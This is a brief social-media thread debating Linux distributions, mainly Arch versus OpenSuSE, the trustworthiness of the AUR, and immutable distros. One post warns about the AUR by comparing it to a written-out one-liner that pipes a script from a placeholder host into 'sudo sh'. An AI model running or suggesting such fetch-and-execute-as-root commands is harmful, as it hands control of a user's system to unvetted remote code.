Post #4003989
2026-07-22 04:41 UTC
@primeapple@polymaths.social @Linux_in_a_Bit@infosec.exchange
Honestly, I think OpenSuSE is a better all-around suggestion than Arch for a rolling-release distro, especially now that the AUR is... well... the AUR. It's not a package manager. It's not even a ports repo. It should be eyed with the same suspicion as curl somethingscary.example.com/totallynotahack.sh |sudo sh.
Of course I'm not saying that there's anything nefarious about the AUR itself. It's created and maintained with the best of intentions. But it simply cannot be blindly trusted, and once you remove the AUR factor, Arch's selection of packages is pretty paltry in comparison to something like OpenSuSE or Debian.
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@Linux_in_a_Bit@infosec.exchange 2026-07-22 04:43
@rl_dane@polymaths.social @primeapple@polymaths.social Well that's the thing, immutable distros don't need large repos. Valve just needs the packages necessary to run the base system, up to date and on their terms.
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@Linux_in_a_Bit@infosec.exchange 2026-07-22 04:45
@rl_dane@polymaths.social @primeapple@polymaths.social Yes, but anything's better than Arch (unless you need something to build another distro on top of)